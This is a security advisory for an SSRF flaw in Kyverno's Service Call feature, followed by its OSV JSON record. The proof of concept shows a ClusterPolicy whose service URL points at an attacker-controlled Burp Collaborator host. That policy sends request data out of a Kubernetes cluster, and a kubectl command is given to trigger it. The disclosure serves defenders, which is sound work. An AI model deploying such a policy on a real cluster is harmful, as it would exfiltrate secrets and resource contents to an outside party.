GHSA-459X-Q9HG-4GPQ

Vulnerability from github – Published: 2025-04-15 21:19 – Updated: 2025-04-23 15:11
VLAI
Summary
Kyverno vulnerable to SSRF via Service Calls
Details

Summary

An attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.

Details

According to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.

https://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls

PoC

Create a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.

apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-namespaces      
spec:
  rules:
  - name: call-extension
    match:
      any:
      - resources:
          kinds:
          - ConfigMap
    context:
    - name: result
      apiCall:
        method: POST
        data:
        - key: namespace
          value: "{{request.namespace}}"
        service:
          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          
    validate:
      message: "namespace {{request.namespace}} is not allowed"
      deny:
        conditions:
          all:
          - key: "{{ result.allowed }}"
            operator: Equals
            value: false

Now let's create some configmap:

kubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm

Look at the Burp Collaborator logs: Снимок экрана 2025-02-21 в 17 31 25

Impact

An attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/kyverno/kyverno"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.13.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-04-15T21:19:37Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\nAn attacker with the ability to create Kyverno policies in a Kubernetes cluster can use Service Call functionality to perform SSRF to a server under their control in order to exfiltrate data.\n\n### Details\nAccording to the documentation, Service Call is intended to address services located inside the Kubernetes cluster, but this method can also resolve external addresses, which allows making requests outside the Kubernetes cluster.\n\nhttps://kyverno.io/docs/writing-policies/external-data-sources/#variables-from-service-calls\n\n### PoC\nCreate a slightly modified Cluster Policy from the documentation. In the url we specify the address of a server controlled by the attacker, for example Burp Collaborator.\n```yaml\napiVersion: kyverno.io/v1\nkind: ClusterPolicy\nmetadata:\n  name: check-namespaces      \nspec:\n  rules:\n  - name: call-extension\n    match:\n      any:\n      - resources:\n          kinds:\n          - ConfigMap\n    context:\n    - name: result\n      apiCall:\n        method: POST\n        data:\n        - key: namespace\n          value: \"{{request.namespace}}\"\n        service:\n          url: http://bo3gyn4qwyjnrx87fjnrsd4p7gd71xpm.oastify.com/payload          \n    validate:\n      message: \"namespace {{request.namespace}} is not allowed\"\n      deny:\n        conditions:\n          all:\n          - key: \"{{ result.allowed }}\"\n            operator: Equals\n            value: false\n```\nNow let\u0027s create some configmap:\n```bash\nkubectl create configmap special-config --from-literal=special.how=very --from-literal=special.type=charm\n```\nLook at the Burp Collaborator logs:\n\u003cimg width=\"723\" alt=\"\u0421\u043d\u0438\u043c\u043e\u043a \u044d\u043a\u0440\u0430\u043d\u0430 2025-02-21 \u0432 17 31 25\" src=\"https://github.com/user-attachments/assets/9445a71a-6687-430a-8476-3fd546bc2bf2\" /\u003e\n\n\n### Impact\nAn attacker creating such a policy can obtain the contents of all Kubernetes resources created in the cluster, including secrets containing sensitive information.",
  "id": "GHSA-459x-q9hg-4gpq",
  "modified": "2025-04-23T15:11:02Z",
  "published": "2025-04-15T21:19:37Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/kyverno/kyverno/security/advisories/GHSA-459x-q9hg-4gpq"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/kyverno/kyverno"
    },
    {
      "type": "WEB",
      "url": "https://pkg.go.dev/vuln/GO-2025-3615"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:P",
      "type": "CVSS_V4"
    }
  ],
  "summary": "Kyverno vulnerable to SSRF via Service Calls"
}



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